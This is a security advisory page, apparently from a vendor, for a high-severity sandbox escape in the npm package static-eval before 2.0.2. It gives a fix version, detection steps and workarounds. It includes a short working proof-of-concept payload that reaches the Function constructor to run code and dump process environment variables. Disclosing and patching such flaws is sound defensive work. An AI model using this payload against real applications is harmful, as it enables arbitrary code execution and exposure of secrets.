Sandbox Breakout / Arbitrary Code Execution in static-evalGHSA-x9hc-rw35-f44h
HIGHGHSA-x9hc-rw35-f44h is a high-severity (CVSS 7.3) remote code execution vulnerability in static-eval. A fix is available for static-eval — see the affected versions and patch details below.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
static-evalnpmDescription
Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
Recommendation
Upgrade to version 2.0.2 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | static-eval | all versions | 2.0.2npm install static-eval@2.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for static-eval, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update static-eval to 2.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x9hc-rw35-f44h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-x9hc-rw35-f44h in your dependencies?
Find it across npm, including transitive dependencies.